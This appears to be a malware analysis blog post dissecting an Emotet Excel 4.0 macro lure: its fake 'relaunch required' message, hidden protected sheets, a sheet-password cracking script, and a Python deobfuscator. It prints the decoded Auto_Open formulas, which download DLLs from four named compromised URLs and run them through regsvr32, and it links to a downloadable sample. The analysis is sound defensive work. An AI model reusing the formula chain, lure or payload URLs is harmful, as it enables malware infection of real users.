Emotet macro malware analysis
Analyze the code
The document is of the .xls file type, which allows macros:
After opening the document, you will see the following spreadsheet:
Under the warning displayed by Excel that there are macros in this document, a fake message is displayed in the cells of the spreadsheet, which should bring the user to place the file in a template folder.
These folders are configured as "Trusted Folder" in the Office Trust Center by default. When a file is opened in a trusted Folder, the markos in the document are executed directly without a warning.
The warning contains of the following text:
"RELAUNCH REQUIRED In accordance with the requirements of your security policy, to display the contents of the document, you need to copy the file to the following folder and run it again:
for Microsoft Office 2013 x32 and earlier - C:\Program Files\Microsoft Office (x86)\Templates
for Microsoft Office 2013 x64 and earlier - C:\Program Files\Microsoft Office\Templates
for Microsoft Office 2016 x32 and later - C:\Program Files (x86)\Microsoft Office\root\Templates
for Microsoft Office 2016 x64 and later - C:\Program Files\Microsoft Office\root\Templates"
If you look at the developer settings of Excel, you can see that there are no macros in this document.
Where is the malicious code?
It seems like there is just one empty spreadsheet in this document. But if you look a bit closer, you will see that there are other sheets in this document. These can be displayed by right-clicking on the existing sheet and selecting Unhide
.
There are 6 hidden sheets in this document.
If you try to edit one of these sheets, you’ll see that they are encrypted.
You can still read the content though, you just can’t edit the file.
But this sheet also looks empty, so is it just some empty sheets that were forgotten? No.
The text is just white. So you can't see it. However, if you press into cell E2
, for example, you can see that a letter is inserted there (character 108, which is a small l
).
If you copy all the text from the sheet 2 to a notepad file, it looks like this:
A","JJCCBB"
("urlmo
n","URLDownloadToFil
s://audioselec.com/about/dDw5ggtyMojggTqhc/","
://intolove.co.uk/wp-admin/FbGhiWtrEzrQ/","
s://geringer-muehle.de/wp-admin/G/","
://isc.net.ua/themes/3rU/","
The full content of all the sheets is in the appendix!
To be able to read the text in the spreadsheets better, you have to unlock the sheets first. For this you technically need the password, but it can also be calculated by a VBA script, like this one:
Sub PasswordBreaker()
Dim i As Integer, j As Integer, k As Integer
Dim l As Integer, m As Integer, n As Integer
Dim i1 As Integer, i2 As Integer, i3 As Integer
Dim i4 As Integer, i5 As Integer, i6 As Integer
On Error Resume Next
For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66
For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
If ActiveSheet.ProtectContents = False Then
MsgBox "One usable password is "& Chr(i) & Chr(j) & _
Chr(k) & Chr(l)& Chr(m) & Chr(i1) & Chr(i2) & _
Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
ActiveWorkbook.Sheets(1).Select
Range("a1").FormulaR1C1 = Chr(i) & Chr(j) & _
Chr(k) & Chr(l)& Chr(m) & Chr(i1) & Chr(i2) & _
Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
Exit Sub
End If
Next: Next: Next: Next: Next: Next
Next: Next: Next: Next: Next: Next
End Sub
Source: https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/
This unlocks the sheet, so you can switch the color of all the text to black again.
Why does this get executed
When you type Auto_Open
into the cell selector in the top left corner of Excel, you can see that there is a field with the label Auto_Open07457358934307593258350725798323209
. A cell with a formula and the label Auto_Open
is run automatically when the workbook is opened (similar to Sub AutoOpen()
for VBA macros). This is called a MS Excel 4.0 macro.
The cell with this label contains the following formula:
"=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!F26&Sheet3!R13&Sheet5!E9&Sheet3!M26,G16)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!E9&Sheet1!F24&Sheet1!L31,G18)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!G28&Sheet3!R13&Sheet5!G15&Sheet3!M26,G20)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!G15&Sheet1!F24&Sheet1!L31,G22)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!I27&Sheet3!R13&Sheet5!J3&Sheet3!M26,G24)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!J3&Sheet1!F24&Sheet1!L31,G26)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!J29&Sheet3!R13&Sheet5!L12&Sheet3!M26,G28)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!L12&Sheet1!F24&Sheet1!L31,G30)=FORMULA(Sheet1!L24&Sheet1!G44&Sheet1!H46&Sheet1!J44,G36)"
Deobfuscation
After exporting all the contents of all sheets to respective .txt
files (see appendix), I wrote a small python script to replace the links to the cells with the actual values:
This is very bad code, use at your own risk ;)
from pprint import pprint
formula = "=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!F26&Sheet3!R13&Sheet5!E9&Sheet3!M26,G16)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!E9&Sheet1!F24&Sheet1!L31,G18)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!G28&Sheet3!R13&Sheet5!G15&Sheet3!M26,G20)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!G15&Sheet1!F24&Sheet1!L31,G22)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!I27&Sheet3!R13&Sheet5!J3&Sheet3!M26,G24)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!J3&Sheet1!F24&Sheet1!L31,G26)=FORMULA(Sheet1!L24&Sheet1!L26&Sheet1!L27&Sheet1!L28&Sheet1!L28&Sheet2!F6&Sheet2!N19&Sheet1!F10&Sheet2!R3&Sheet5!Q21&Sheet2!J29&Sheet3!R13&Sheet5!L12&Sheet3!M26,G28)=FORMULA(Sheet1!L24&Sheet1!G8&Sheet1!F4&Sheet1!G8&Sheet1!L26&Sheet1!L30&Sheet1!F24&Sheet1!L26&Sheet3!F19&Sheet3!D5&Sheet1!A4&Sheet3!J14&Sheet1!A4&Sheet3!C32&Sheet1!F10&Sheet3!P21&Sheet3!L8&Sheet5!L12&Sheet1!F24&Sheet1!L31,G30)=FORMULA(Sheet1!L24&Sheet1!G44&Sheet1!H46&Sheet1!J44,G36)"
sheets = []
sheets.append("")
# Loop from 1 to 5
for x in range(1, 6):
filename = "sheet"+str(x)+".txt"
with open(filename, "r") as f:
lines = f.readlines()
lines = [line.split("\t") for line in lines]
linesnew = []
linesnew.append({"-": "-"})
for line in lines:
j = 0
columnnew = {}
for column in line:
char = chr(j + 65)
columnnew.update({char: column.replace("\n", "")})
j = j + 1
linesnew.append(columnnew)
sheets.append(linesnew)
for x in range(1, 6):
linenumber = 0
for columns in (sheets[x]):
for columnchar, cellvalue in columns.items():
formula = formula.replace("Sheet"+str(x)+"!"+columnchar+str(linenumber)+"&", cellvalue)
formula = formula.replace("Sheet"+str(x)+"!"+columnchar+str(linenumber)+",", cellvalue+",")
linenumber = linenumber + 1
print(formula)
This outputs the following formula:
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://audioselec.com/about/dDw5ggtyMojggTqhc/","..\oxnv1.ooccxx",0,0),G16)=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18)=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://geringer-muehle.de/wp-admin/G/","..\oxnv2.ooccxx",0,0),G20)=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx"),G22)=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://intolove.co.uk/wp-admin/FbGhiWtrEzrQ/","..\oxnv3.ooccxx",0,0),G24)=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx"),G26)=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://isc.net.ua/themes/3rU/","..\oxnv4.ooccxx",0,0),G28)=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx"),G30)=FORMULA(=RETURN(),G36)
And formatted:
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://audioselec.com/about/dDw5ggtyMojggTqhc/","..\oxnv1.ooccxx",0,0),G16)
=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18)
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://geringer-muehle.de/wp-admin/G/","..\oxnv2.ooccxx",0,0),G20)
=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx"),G22)
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://intolove.co.uk/wp-admin/FbGhiWtrEzrQ/","..\oxnv3.ooccxx",0,0),G24)
=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx"),G26)
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://isc.net.ua/themes/3rU/","..\oxnv4.ooccxx",0,0),G28)
=FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx"),G30)=FORMULA(=RETURN(),G36)
The URL seem to be mostly hacked WordPress sites, which are now used to spread the Emotet malware.
You can see that different files are downloaded with the function URLDownloadToFileA
. This is a function that downloads and saves a file to disk:
HRESULT URLDownloadToFileA
(
LPUNKNOWN pCaller,
LPCSTR szURL,
LPCSTR szFileName,
DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
)
Then it uses C:\Windows\System32\regsvr32.exe
to execute each downloaded file.
regsvr32.exe
is a LOLBin (Windows living-off-the-land binary). It is a Microsoft-signed command line utility in Windows that allows users to register and unregister libraries. By registering a .dll
file, information is added to the central directory (the Registry) so that it can be used by Windows and shared among programs.
“Threat actors can use Regsvr32 for loading COM scriptlets to execute DLLs,” they explained in a Wednesday writeup. “This method does not make changes to the Registry as the COM object is not actually registered, but [rather] is executed. This technique [allows] threat actors to bypass application whitelisting during the execution phase of the attack kill chain.”
Executing the malware
When the attachment is launched from the Templates
folder, it will simply open and immediately execute macros that download the Emotet malware. This will also happen if you paste it to any other folders which are marked as “trusted folders” in the Office Trust Center.
If you don’t copy the file anywhere, it will still execute the macros as soon as you press Enable Content
in the yellow security warning from Excel (not the fake one in the spreadsheet).
The downloaded DLL files are stored in %UserProfile%\AppData\Local
After executing the DLLs with the LOLbin regsvr32.exe
, the malware will quietly run in the background while connecting to the Command and Control server for further instructions or to install additional payloads.
Information from BleepingComputer about the further usage of this installed malware:
Madjar told BleepingComputer that today's Emotet infections have not begun dropping additional malware payloads on infected devices.
However, in the past, Emotet was known for installing the TrickBot malware and, more recently, Cobalt Strike beacons.
These Cobalt Strike beacons are then used for initial access by ransomware gangs who spread laterally on the network, steal data, and ultimately encrypt devices.
Emotet infections were used in the past to give Ryuk and Conti ransomware gangs initial access to corporate networks.
Since Conti's shutdown in June, Emotet was seen partnering with the BlackCat and Quantum ransomware operations for initial access on already infected devices.
Links & Sources
- Virustotal Link: https://www.virustotal.com/gui/file/ef2ce641a4e9f270eea626e8e4800b0b97b4a436c40e7af30aeb6f02566b809c/
- Download this malware sample: https://bazaar.abuse.ch/sample/ef2ce641a4e9f270eea626e8e4800b0b97b4a436c40e7af30aeb6f02566b809c/
- Analysis on Twitter by
@Max_Mal_
https://twitter.com/Max_Mal_/status/1587948482521976832 - Bleepingcomputer’s Article: https://www.bleepingcomputer.com/news/security/emotet-botnet-starts-blasting-malware-again-after-5-month-break/
- Reverse Engineering of the DLL files: https://twitter.com/embee_research/status/1588334816411672576
Appendix
Data of sheet 1
l F A
v w C 5
r X J 1 T
h 2
K m
U p
E d t
a
e R
n 4 0 D
S B i
x 3 u
h c
g L y
d p o
s
1
" : =
, \ C
A
. L
&
(
U - )
T
/
R
E
N
RETUR ()
N
e
The data from sheet2 looks like this:
A","JJCCBB"
("urlmo
n","URLDownloadToFil
s://audioselec.com/about/dDw5ggtyMojggTqhc/","
://intolove.co.uk/wp-admin/FbGhiWtrEzrQ/","
s://geringer-muehle.de/wp-admin/G/","
://isc.net.ua/themes/3rU/","
Data of sheet 3:
System32\
..\
..\
egsv
:\Windows\
",0,0)
32.ex
Data of sheet 4:
System32\
..\
..\
egsv
:\Windows\
",0,0)
32.ex
Data of sheet 5:
1 2 3 4
s://audioselec.com/abo s://geringer-mue ://intolove.co.uk/w ://isc.n
ut/dDw5ggtyMojggTqhc/ hle.de/wp-admin/G/ p-admin/FbGhiWtrEzrQ/ et.ua/themes/3rU/
","